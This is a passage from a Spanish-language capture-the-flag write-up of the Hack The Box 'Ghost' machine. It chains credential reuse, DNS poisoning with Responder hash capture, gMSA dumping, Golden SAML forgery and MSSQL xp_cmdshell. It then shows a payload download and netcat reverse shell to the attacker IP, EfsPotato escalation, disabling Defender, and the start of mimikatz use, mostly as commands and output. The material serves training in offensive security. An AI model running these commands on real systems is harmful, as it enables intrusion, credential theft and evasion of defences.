Tenemos el texto uxLmt*udNc6t3HrF
el cual parece ser una contraseña para el usuario florence.ramirez
.
Revisamos si esta contraseña es válida a través de, por ejemplo, SMB
para el servicio con NetExec
:
❯ nxc smb 10.10.11.24 -u 'florence.ramirez' -p 'uxLmt*udNc6t3HrF'
SMB 10.10.11.24 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.24 445 DC01 [+] ghost.htb\florence.ramirez:uxLmt*udNc6t3HrF
Son válidas. Tenemos credenciales: florence.ramirez:uxLmt*udNc6t3HrF
.
Estas credenciales son válidas para el servicio MSSQL
también. Pero intentar ganar ejecución de comandos a través de este usuario para este servicio es inútil, no se puede.
De vuelta a la página de intranet
, hay una pestaña llamada Forum
. Clickeando en ésta muestra:
Parece haber una tarea o script ejecutándose sobre el subdominio bitbucket.ghost.htb
y realizando algún tipo de petición hacia éste.
Dado que ahora tenemos credenciales en el dominio, podemos intentar modificar los records de DNS
en el entorno AD
usando la herramienta dnstool.py
(la cual puede ser descargada desde el repositorio de krbrelayx). Lo que haremos con esto será tratar de manipular los records DNS
hacia nuestra máquina de atacantes. De esta manera, cuando la máquina víctima haga una petición hacia el subdominio bitbucket.ghost.htb
, el servidor estará realizando sin querer una petición (posiblemente de autenticación, dependiendo del protocolo que se use) hacia nuestra máquina de atacantes; petición la cual podremos interceptar con una herramienta como Responder
. Podemos realizar este ataque ejecutando en una terminal:
❯ python3 dnstool.py -u 'ghost.htb\florence.ramirez' -p 'uxLmt*udNc6t3HrF' -a add -r "bitbucket.ghost.htb" -t A -d 10.10.16.3 10.10.11.24
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully
Donde 10.10.16.3
es nuestra IP de atacantes y 10.10.11.24
la IP del DC (IP de la máquina víctima corriendo el servicio DNS
, con el puerto 53
abierto).
Podemos revisar si la modificación de records de DNS
ha funcionado usando una herramienta como nslookup
:
❯ nslookup bitbucket.ghost.htb 10.10.11.24
Server: 10.10.11.24
Address: 10.10.11.24#53
Name: bitbucket.ghost.htb
Address: 10.10.16.3
Nuestra IP de atacantes está allí. Vemos cómo el subdominio bitbucket.ghost.htb
resuelve a nuestra IP de atacantes.
Podemos interceptar potenciales credenciales usando Responder
:
❯ sudo responder -I tun0 wvd
<SNIP>
[+] Listening for events...
[HTTP] NTLMv2 Client : 10.10.11.24
[HTTP] NTLMv2 Username : ghost\justin.bradley
[HTTP] NTLMv2 Hash : justin.bradley::ghost:e24e7edcdaff42cb:58C96CA696D155478B196604E834493C:0101000000000000568D64B8A917DB0143F1DE628EF8A3DA0000000002000800390035004800330001001E00570049004E002D005200570047005200430044005800350056004D0036000400140039003500480033002E004C004F00430041004C0003003400570049004E002D005200570047005200430044005800350056004D0036002E0039003500480033002E004C004F00430041004C000500140039003500480033002E004C004F00430041004C0008003000300000000000000000000000004000000320FFF67FCC88ADACADC251526E68ED6F83B404C5293EF5938DC0FA16ABEC800A001000000000000000000000000000000000000900300048005400540050002F006200690074006200750063006B00650074002E00670068006F00730074002E006800740062000000000000000000
Obtenemos un hash NTLMv2
para el usuario justin.bradley
.
Intentamos un Brute Force Password Cracking
con john
para crackear este hash:
❯ john --wordlist=/usr/share/wordlists/rockyou.txt justin_bradley_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Qwertyuiop1234$$ (justin.bradley)
1g 0:00:00:18 DONE (2024-10-06 01:55) 0.05265g/s 564035p/s 564035c/s 564035C/s R5TXer12..Queenruma
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
Tenemos credenciales: justin.bradley:Qwertyuiop1234$$
.
Estas credenciales también son válidas para los servicios SMB
y MSSQL
, pero no encontramos nada nuevo. Volviendo a la página de login de federation.ghost.htb
(el sitio HTTPs
corriendo en el puerto 8443
) y usando estas credenciales obtenemos un mensaje:
Parece ser que sólo el usuario Administrator
puede loguearse en este servicio. Obtenemos exactamente el mismo mensaje si usamos las otras credenciales halladas. Ya volveremos a este sitio.
Por último, revisamos si estas credenciales son válidas para el servicio WinRM
:
❯ nxc winrm 10.10.11.24 -u 'justin.bradley' -p 'Qwertyuiop1234$$'
WINRM 10.10.11.24 5985 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:ghost.htb)
WINRM 10.10.11.24 5985 DC01 [+] ghost.htb\justin.bradley:Qwertyuiop1234$$ (Pwn3d!)
Lo son.
Podemos usar evil-winrm
para conectarnos como este usuario:
❯ evil-winrm -u 'justin.bradley' -p 'Qwertyuiop1234$$' -i ghost.htb
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\justin.bradley\Documents>
Podemos obtener la flag de usuario en el Desktop del usuario justin.bradley
.
NT Authority/System - Administrator Link to heading
Notamos que este usuario es parte dle grupo IT
:
*Evil-WinRM* PS C:\Users\justin.bradley\Documents> net user justin.bradley
User name justin.bradley
Full Name Justin Bradley
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 2/1/2024 3:48:11 PM
Password expires Never
Password changeable 2/2/2024 3:48:11 PM
Password required Yes
User may change password No
Workstations allowed All
Logon script
User profile
Home directory
Last logon 10/5/2024 10:02:55 PM
Logon hours allowed All
Local Group Memberships *Remote Management Use
Global Group memberships *Domain Users *IT
The command completed successfully.
Usamos bloodhound-python
para extraer información sobre el dominio. El extraer la información obtenemos un mensaje de error, pero no es un error fatal; sino más bien sólo una advertencia:
❯ bloodhound-python -c ALL -u 'justin.bradley' -p 'Qwertyuiop1234$$' -d ghost.htb -ns 10.10.11.24
INFO: Found AD domain: ghost.htb
INFO: Getting TGT for user
<SNIP>
WARNING: Could not resolve: linux-dev-ws01.ghost.htb: The DNS query name does not exist: linux-dev-ws01.ghost.htb.
INFO: Done in 00M 59S
linux-dev-ws01.ghost.htb
es probablemente el FQDN
para el container corriendo Ghost CMS
; pero, afortunadamente, no es importante para en análisis del dominio en sí. Por lo que podemos continuar.
Subimos los archivos generados a Bloodhound
y buscamos por nuestro usuario justin.bradley
. Yendo a la pestaña de Node Info
, y luego a First Degree Object
notamos que este usuario tiene derechos/permisos sobre otro usuario:
justin.bradley
tiene el permiso ReadGMSAPassword
sobre el usuario ADFS_GMSA$
. Basados en la ayuda de Bloodhound
acerca de cómo abusar este permiso, tenemos:
Group Managed Service Accounts are a special type of Active Directory object, where the password for that object is managed by and automatically changed by Domain Controllers on a set interval (check the MSDS-ManagedPasswordInterval attribute).
The intended use of a GMSA is to allow certain computer accounts to retrieve the password for the GMSA, then run local services as the GMSA. An attacker with control of an authorized principal may abuse that privilege to impersonate the GMSA.
Podemos usar la herramienta GMSADumper
(que puede ser obtenida desde su repositorio de Github). Primero, creamos un entorno virtual con Python
(que llamaré gmsa_env
en mi caso) e instalamos en éste todas las dependencias necesarias para ejecutar la herramienta:
❯ git clone https://github.com/micahvandeusen/gMSADumper.git
<SNIP>
❯ python3 -m venv gmsa_env
❯ source gmsa_env/bin/activate
❯ pip3 install -r requirements.txt
<SNIP>
Luego, ejecutamos esta herramienta usando las credenciales de justin.bradley
:
❯ python3 gMSADumper.py -u 'justin.bradley' -p 'Qwertyuiop1234$$' -d 'ghost.htb' -l 'dc01.ghost.htb'
Users or groups who can read password for adfs_gmsa$:
> DC01$
> justin.bradley
adfs_gmsa$:::4233c732e277554e44dbd82a890da314
adfs_gmsa$:aes256-cts-hmac-sha1-96:9113f810febea8804636a36dee3421edd523c89568f69006d0d622eb909dab5b
adfs_gmsa$:aes128-cts-hmac-sha1-96:0837c07388e02cd3da5b4fcaf6c84961
La primera línea retorna el hash NT
del usuario adfs_gmsa$
. Revisamos si este hash es válido para un Pass The Hash
con la herramienta NetExec
:
❯ nxc smb 10.10.11.24 -u 'adfs_gmsa$' -H '4233c732e277554e44dbd82a890da314'
SMB 10.10.11.24 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.24 445 DC01 [+] ghost.htb\adfs_gmsa$:4233c732e277554e44dbd82a890da314
Funciona. Es válido.
Tenemos acceso a la cuenta adfs_gmsa$
. Como mencionamos en el inicio de este WriteUp, ADFS
es el acrónimo de Active Directory Federation Services
, el cual es usado para extender Active Directory
a aplicaciones en la nube y otros dispositivos. Buscando qué es lo que podríamos hacer con esta cuenta encontramos esta página explicando cómo performar un Golden SAML Attack
(más información sobre este ataque aquí). La página divide el ataque en partes. Ya hemos realizado el Step 1
(obtener credenciales del usuario ADFS
). Mirando el Step 2
, ahora necesitamos acceder a la información para forjar un SAML
token. Allí se menciona que para esto deberíamos de usar la herramienta ADFSDump
(la cual puede ser obtenida desde su repositorio de Github). Sin embargo, allí no se da un archivo .exe
pre-compilado; por lo que en mi caso usaré este binario pre-compilado para ADFSDump.exe
. Basados en Bloodhound
, el usuario adfs_fmsa$
tiene acceso a través de WinRM
, por lo que usamos esta cuenta para loguearnos través de aquel servicio y subimos el binario de ADFSDump
:
❯ evil-winrm -i 10.10.11.24 -u 'adfs_gmsa$' -H '4233c732e277554e44dbd82a890da314'
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\adfs_gmsa$\Documents> whoami
ghost\adfs_gmsa$
*Evil-WinRM* PS C:\Users\adfs_gmsa$\Documents> upload ADFSDump.exe
Info: Uploading /home/gunzf0x/HTB/HTBMachines/Insane/Ghost/exploits/ADFSDump.exe to C:\Users\adfs_gmsa$\Documents\ADFSDump.exe
Data: 40276 bytes of 40276 bytes copied
Info: Upload successful!
Una vez subido, ejecutamos ADFSDump.exe
:
*Evil-WinRM* PS C:\Users\adfs_gmsa$\Documents> .\ADFSDump.exe
___ ____ ___________ ____
/ | / __ \/ ____/ ___// __ \__ ______ ___ ____
/ /| | / / / / /_ \__ \/ / / / / / / __ `__ \/ __ \
/ ___ |/ /_/ / __/ ___/ / /_/ / /_/ / / / / / / /_/ /
/_/ |_/_____/_/ /____/_____/\__,_/_/ /_/ /_/ .___/
/_/
Created by @doughsec
## Extracting Private Key from Active Directory Store
[-] Domain is ghost.htb
[-] Private Key: FA-DB-3A-06-DD-CD-40-57-DD-41-7D-81-07-A0-F4-B3-14-FA-2B-6B-70-BB-BB-F5-28-A7-21-29-61-CB-21-C7
[-] Private Key: 8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1
## Reading Encrypted Signing Key from Database
[-] Encrypted Token Signing Key Begin
AAAAAQAAAAAEEAFyHlNXh2VDska8KMTxXboGCWCGSAFlAwQCAQYJYIZIA
<SNIP>
## Reading The Issuer Identifier
[-] Issuer Identifier: http://federation.ghost.htb/adfs/services/trust
[-] Detected AD FS 2019
[-] Uncharted territory! This might not work...
## Reading Relying Party Trust Information from Database
[-]
core.ghost.htb
==================
Enabled: True
Sign-In Protocol: SAML 2.0
Sign-In Endpoint: https://core.ghost.htb:8443/adfs/saml/postResponse
Signature Algorithm: http://www.w3.org/2001/04/xmldsig-more#rsa-sha256
SamlResponseSignatureType: 1;
Identifier: https://core.ghost.htb:8443
Access Policy: <PolicyMetadata xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2012/04/ADFS">
<RequireFreshAuthentication>false</RequireFreshAuthentication>
<IssuanceAuthorizationRules>
<Rule>
<Conditions>
<Condition i:type="AlwaysCondition">
<Operator>IsPresent</Operator>
</Condition>
</Conditions>
</Rule>
</IssuanceAuthorizationRules>
</PolicyMetadata>
Access Policy Parameter:
Issuance Rules: @RuleTemplate = "LdapClaims"
@RuleName = "LdapClaims"
c:[Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname", Issuer == "AD AUTHORITY"]
=> issue(store = "Active Directory", types = ("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn", "http://schemas.xmlsoap.org/claims/CommonName"), query = ";userPrincipalName,sAMAccountName;{0}", param = c.Value);
Este output contiene bastante información importante que usaremos a continuación.
La página dice que necesitamos guardar los valores de DKM key
y TKS key
(Token Signed key
). Lo curioso es que aquí obtenemos 2 DKM key
(o Private Key
en el output). Por lo que guardamos ambas DKM keys
en nuestra máquina de atacantes como DKMKey1.txt
y DKMKey2.txt
; además de guardar el Token Signed key
como TKSKey.txt
:
❯ cat DKMKey1.txt
FA-DB-3A-06-DD-CD-40-57-DD-41-7D-81-07-A0-F4-B3-14-FA-2B-6B-70-BB-BB-F5-28-A7-21-29-61-CB-21-C7
❯ cat DKMKey2.txt
8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1
❯ cat TKSKey.txt
AAAAAQAAAAA<SNIP>BN/BEsNEUSTXxm
Yendo al Step 3
de la página, TKS Key
necesita ser decodeado de base64
; mientras que DKMKey
necesita ser pasado a valores hexadecimales:
❯ cat TKSKey.txt | base64 -d > TKSKey.bin
❯ cat DKMKey1.txt | tr -d "-" | xxd -r -p > DKMkey1.bin
❯ cat DKMKey2.txt | tr -d "-" | xxd -r -p > DKMkey2.bin
Podemos entonces usar una herramienta como ADFSpoof
(la cual puede ser descargada desde su repositorio de Github) en nuestra máquina de atacantes para forjar un Golden SAML
token. Ahora bien, la única cosa que es “diferente” de la página guía es que nosotros no queremos solicitar un token para Microsoft Office 365
(módulo o365
en ADFSpoof
), queremos el módulo saml2
para una petición SAML
“custom”. Podemos tratar de forjar el token SAML
basados en este blog.
Adicionalmente, del output de ADFSDump
, podemos ver que éste nos dice todo lo necesario para ejecutar el ataque:
- Un endpoint (
https://core.ghost.htb:8443/adfs/saml/postResponse
) - Un domain/server (
core.ghost.htb
) - Y un Identifier (
https://core.ghost.htb:8443
).
Usando la primera Private Key (DKMkey1.bin
) no funciona:
❯ python3 ADFSpoof.py -b TKSKey.bin DKMkey1.bin --server 'core.ghost.htb' saml2 --endpoint 'https://core.ghost.htb:8443/adfs/saml/postResponse' --rpidentifier 'https://core.ghost.htb:8443' --nameidformat 'urn:oasis:names:tc:SAML:2.0:nameid-format:emailAddress' --nameid 'Administrator@ghost.htb' --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>Administrator@ghost.htb</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>'
___ ____ ___________ ____
/ | / __ \/ ____/ ___/____ ____ ____ / __/
/ /| | / / / / /_ \__ \/ __ \/ __ \/ __ \/ /_
/ ___ |/ /_/ / __/ ___/ / /_/ / /_/ / /_/ / __/
/_/ |_/_____/_/ /____/ .___/\____/\____/_/
/_/
A tool to for AD FS security tokens
Created by @doughsec
Calculated MAC did not match anticipated MAC
Calculated MAC: b'pp\xcc\x9f\x07\x1e_\x99\xdc\xda3\xc1=t\xb8\xb7\xad\xc8\x8e\x95\x9c\xb1\x9a\x91\x00\x8a\x03L\\\x84\xe3\xb8'
Expected MAC: b'O\x83av\x7f\x00\xff\xcc= \xeb\nB\xcaT\xfc\xa2\xa7\xbcCz\xf0M\xfc\x11,4E\x12M|f'
Pero usando la segunda (DKMkey2.bin
) sí lo hace:
❯ python3 ADFSpoof.py -b TKSKey.bin DKMkey2.bin --server 'core.ghost.htb' saml2 --endpoint 'https://core.ghost.htb:8443/adfs/saml/postResponse' --rpidentifier 'https://core.ghost.htb:8443' --nameidformat 'urn:oasis:names:tc:SAML:2.0:nameid-format:emailAddress' --nameid 'Administrator@ghost.htb' --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>Administrator@ghost.htb</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>'
<SNIP>
ZXM6dGM6U0FNTDoyLjA6YWM6Y2xhc3NlczpQYXNzd29yZFByb3RlY3RlZFRyYW5zcG9ydDwvQXV0aG5Db250ZXh0Q2xhc3NSZWY%2BPC9BdXRobkNvbnRleHQ%2BPC9BdXRoblN0YXRlbWVudD48L0Fzc2VydGlvbj48L3NhbWxwOlJlc3BvbnNlPg%3D%3D
Notamos 2 cosas: este payload está urlencodeado y, por lo mismo, éste tiene un tamaño (length) de 6513
(que sale de url decodear el payload y contar sus carácteres con wc -c
). Así, yendo a https://core.ghost.htb
, empezamos Burpsuite
e interceptamos la petición enviada cuando recargamos la página (no cuando clickeamos en el botón Federation
). Hacemos esto dado que queremos enviar la petición al sitio https://core.ghost.htb:8443
en lugar del sitio federation.ghost.htb
. Modificamos esta petición para cambiar el método a POST
al endpoint especificado por ADFSDump
(/adfs/saml/postResponse
); además de cambiar el Content-Type
a x-www-form-urlencoded
y especificar el tamaño del contenido 6513
(el tamaño del payload urldecodeado con ADFSpoof
):
POST /adfs/saml/postResponse HTTP/1.1
Host: core.ghost.htb:8443
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Dnt: 1
Referer: https://core.ghost.htb:8443/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 6581
SAMLResponse=PHNhbWx<SNIP>nNlPg%3D%3D
Clickeando en Forward
funciona. Bypasseamos el login ya que nos hacemos pasar por el usuario Administrator
. Estamos dentro y podemos ver lo que parece un panel de MSSQL
:
Yendo directo al grano, podemos ver 2 servidores linkeados a este servicio:
Uno llamado DC01
y otro llamado PRIMARY
.
Actualmente estamos en DC01
:
El comando use_link
no está disponible, por lo que podemos usar el comando EXEC AT
para ejecutar comandos en otro servidor como PRIMARY
. Por ejemplo:
EXEC ('SELECT @@SERVERNAME') AT [PRIMARY];
Revisamos si podemos ejecutar comandos como el usuario sa
en el servidor PRIMARY
:
EXECUTE('EXECUTE AS LOGIN = ''sa''; EXEC SP_CONFIGURE ''show advanced options'', 1;reconfigure;EXEC SP_CONFIGURE ''xp_cmdshell'' , 1;reconfigure;exec xp_cmdshell ''whoami''') AT "PRIMARY"
Podemos.
Luego, subimos un binario de netcat
para Windows
a la máquina víctima en una de las rutas dadas por UltimateAppLockerByPassList; el cual, luego de algunas pruebas, termina funcionando con la ruta C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
) y usamos PowerShell
para descargar el binario allí:
EXECUTE('EXECUTE AS LOGIN = ''sa''; EXEC SP_CONFIGURE ''show advanced options'', 1;reconfigure;EXEC SP_CONFIGURE ''xp_cmdshell'' , 1;reconfigure;exec xp_cmdshell ''powershell -command Invoke-WebRequest -Uri http://10.10.16.3:8000/nc64.exe -Outfile C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys\nc.exe''') AT "PRIMARY"
Empezamos un listener con netcat
junto rlwrap
y nos mandamos una reverse shell:
EXECUTE('EXECUTE AS LOGIN = ''sa''; EXEC SP_CONFIGURE ''show advanced options'', 1;reconfigure;EXEC SP_CONFIGURE ''xp_cmdshell'' , 1;reconfigure;exec xp_cmdshell ''C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys\nc.exe 10.10.16.3 443 -e cmd.exe''') AT "PRIMARY"
Obtenemos una shell como el usuario nt service\mssqlserver
:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.24] 49816
Microsoft Windows [Version 10.0.20348.2582]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt service\mssqlserver
Revisando permisos de este usuario tenemos:
C:\Windows\system32>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
C:\Windows\system32>
Tenemos el privilegio SeImpersonatePrivilege
habilitado.
Luego de probar herramientas que abusen de este privilegio, una de ellas funciona: EfsPotato
(la cual puede ser descargada desde su repositorio de Github). La máquina tiene Microsoft .NET
disponible, por lo que podemos compilar el archivo .cs
del repositorio, luego de subirlo, en la máquina víctima. Subimos el archivo EfsPotato
(archivo .cs
) a la ruta C:\Users\Public\Downloads
dado que Microsoft .NET
me daba algunos problemas si es que usamos el mismo directorio donde habíamos guardado el binario de nc
. Hecho esto, usamos csc.exe
para compilar el archivo .cs
:
C:\Windows\system32>C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe /out:C:\Users\Public\Downloads\EfsPotato.exe C:\Users\Public\Downloads\EfsPotato.cs -nowarn:1691,618
<SNIP>
C:\Windows\system32>dir C:\Users\Public\Downloads
dir C:\Users\Public\Downloads
Volume in drive C has no label.
Volume Serial Number is 161D-1BB7
Directory of C:\Users\Public\Downloads
10/07/2024 12:20 PM <DIR> .
01/30/2024 08:28 PM <DIR> ..
10/07/2024 12:19 PM 25,441 EfsPotato.cs
10/07/2024 12:20 PM 17,920 EfsPotato.exe
2 File(s) 43,361 bytes
2 Dir(s) 4,062,715,904 bytes free
Probando el binario compilado, éste funciona:
C:\Windows\system32>C:\Users\Public\Downloads\EfsPotato.exe "whoami"
C:\Users\Public\Downloads\EfsPotato.exe "whoami"
Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability).
Part of GMH's fuck Tools, Code By zcgonvh.
CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net]
[+] Current user: NT Service\MSSQLSERVER
[+] Pipe: \pipe\lsarpc
[!] binding ok (handle=b8eaa0)
[+] Get Token: 880
[!] process with pid: 1360 created.
==============================
nt authority\system
Por lo que reciclamos el binario de netcat
que habíamos usado para ganar acceso mediante el servicio MSSQL
para enviarnos otra reverse shell:
C:\Users\Public\Downloads>C:\Users\Public\Downloads\EfsPotato.exe "C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys\nc.exe 10.10.16.3 443 -e cmd.exe"
Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability).
Part of GMH's fuck Tools, Code By zcgonvh.
CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net]
[+] Current user: NT Service\MSSQLSERVER
[+] Pipe: \pipe\lsarpc
[!] binding ok (handle=a1e230)
[+] Get Token: 880
[!] process with pid: 2264 created.
==============================
Obtenemos una shell como nt authority/system
:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.24] 49859
Microsoft Windows [Version 10.0.20348.2582]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
Pero sorpresa, si revisamos el Desktop de Administrator
, la flag no está allí. Por lo que no hemos terminado:
C:\Windows\system32>dir C:\Users\Administrator\Desktop
dir C:\Users\Administrator\Desktop
Volume in drive C has no label.
Volume Serial Number is 161D-1BB7
Directory of C:\Users\Administrator\Desktop
07/10/2024 04:19 AM <DIR> .
07/03/2024 08:55 AM <DIR> ..
0 File(s) 0 bytes
2 Dir(s) 4,062,208,000 bytes free
Esto es porque estamos en una máquina llamada PRIMARY
, no en DC01
:
C:\Windows\system32>ipconfig /all
ipconfig /all
Windows IP Configuration
Host Name . . . . . . . . . . . . : PRIMARY
Primary Dns Suffix . . . . . . . : corp.ghost.htb
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : corp.ghost.htb
ghost.htb
Ethernet adapter Ethernet:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Microsoft Hyper-V Network Adapter
Physical Address. . . . . . . . . : 00-15-5D-44-3C-01
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
IPv4 Address. . . . . . . . . . . : 10.0.0.10(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.0.0.254
DNS Servers . . . . . . . . . . . : 127.0.0.1
10.0.0.254
NetBIOS over Tcpip. . . . . . . . : Enabled
Cuando subí algunos binarios para abusar del privilegio SeImpersonatePrivilege
y los ejecutaba, notaba que éstos eran eliminados luego de la ejecución. Por lo que revisamos si algún antivirus o sistema de defensa como Windows Defender
está corriendo:
C:\Windows\system32>powershell -command "Get-MpComputerStatus | Select-Object AMServiceEnabled, RealTimeProtectionEnabled, AntispywareEnabled, AntivirusEnabled"
powershell -command "Get-MpComputerStatus | Select-Object AMServiceEnabled, RealTimeProtectionEnabled, AntispywareEnabled, AntivirusEnabled"
AMServiceEnabled RealTimeProtectionEnabled AntispywareEnabled AntivirusEnabled
---------------- ------------------------- ------------------ ----------------
True True True True
Está corriendo.
Dado que somos nt authority/system
en esta máquina, podemos deshabilitar Windows Defender
cambiando de una CMD
a una sesión con PowerShell
para luego ejecutar:
C:\Windows\system32>powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\Windows\system32> Set-MpPreference -DisableRealtimeMonitoring $true
Bajando así el antivirus/Defender.
Subiendo luego scripts como adPEAS
(el cual puede ser descargado desde su repositorio de Github), podemos ver que nuestra máquina se llama primary.corp.ghost.htb
.
PS C:\Users\Public\Downloads> Import-Module .\adPEAS.ps1
Import-Module .\adPEAS.ps1
PS C:\Users\Public\Downloads> Invoke-adPEAS
<SNIP>
[+] Found domain controller of domain 'corp.ghost.htb':
DC Host Name: PRIMARY.corp.ghost.htb
DC Roles: PdcRole,RidRole,InfrastructureRole
DC IP Address: ::1
Site Name: Default-First-Site-Name
<SNIP>
Esto lo podemos ver de igual manera en una sesión con PowerShell
y el comando nslookup
:
PS C:\Users\Public\Downloads> nslookup primary.corp.ghost.htb
nslookup primary.corp.ghost.htb
Server: localhost
Address: 127.0.0.1
Name: primary.corp.ghost.htb
Address: 10.0.0.10
Del escaneo con Bloodhound
, y también del escaneo con adPEAS
, podemos ver que la máquina DC01.ghost.htb
existe. Podemos revisar su dirección usando nuevamente nslookup
:
PS C:\Users\Public\Downloads> nslookup dc01.ghost.htb
nslookup dc01.ghost.htb
Non-authoritative answer:
Server: localhost
Address: 127.0.0.1
Name: dc01.ghost.htb
Addresses: 10.10.11.24
10.0.0.254
Notamos así que la máquina PRIMARY
está en el dominio corp.ghost.htb
(conocido como child
) y DC01
está en el dominio ghost.htb
.
Por lo que nos encontramos en un forest de Active Directory
y necesitamos ganar acceso a la máquina DC01
. Dado que en la máquina actual hemos deshabilitado el AMSI (Windows Defender
), podemos utilizar herramientas para extraer información del dominio y atacar a éste. Subimos PowerView.ps1 a la máquina víctima, lo importamos y vemos los “trust” entre el dominio child
actual y el dominio principal:
PS C:\Users\Public\Downloads> Import-Module .\PowerView.ps1
Import-Module .\PowerView.ps1
PS C:\Users\Public\Downloads> Get-DomainTrust -NET
Get-DomainTrust -NET
SourceName TargetName TrustType TrustDirection
---------- ---------- --------- --------------
corp.ghost.htb ghost.htb ParentChild Bidirectional
O de igual manera, podemos obtener el mismo resultado ejecutando:
PS C:\Users\Public\Downloads> Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)"
Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)"
SourceName : corp.ghost.htb
TargetName : ghost.htb
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection : Bidirectional
WhenCreated : 2/1/2024 2:33:33 AM
WhenChanged : 10/14/2024 2:52:29 AM
SourceName : ghost.htb
TargetName : corp.ghost.htb
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection : Bidirectional
WhenCreated : 2/1/2024 2:33:33 AM
WhenChanged : 2/1/2024 2:35:13 AM
Tenemos una confianza (trust) Bidirectional
. Por lo que podemos tratar de performar un ataque Trust Forest Attack
. Este post escrito por harmj0y da una muy buena explicación para este tópico. En mi caso, seguiré indicaciones y tips de esta página explicando cómo solicitar tickets basados en este “trust”.
Subimos mimikatz
a la máquina víctima para obtener el SID
del dominio CORP.GHOST.HTB
y una “trust key” ejecutando:
C:\Users\Public\Downloads>.\mimikatz.exe
.\mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
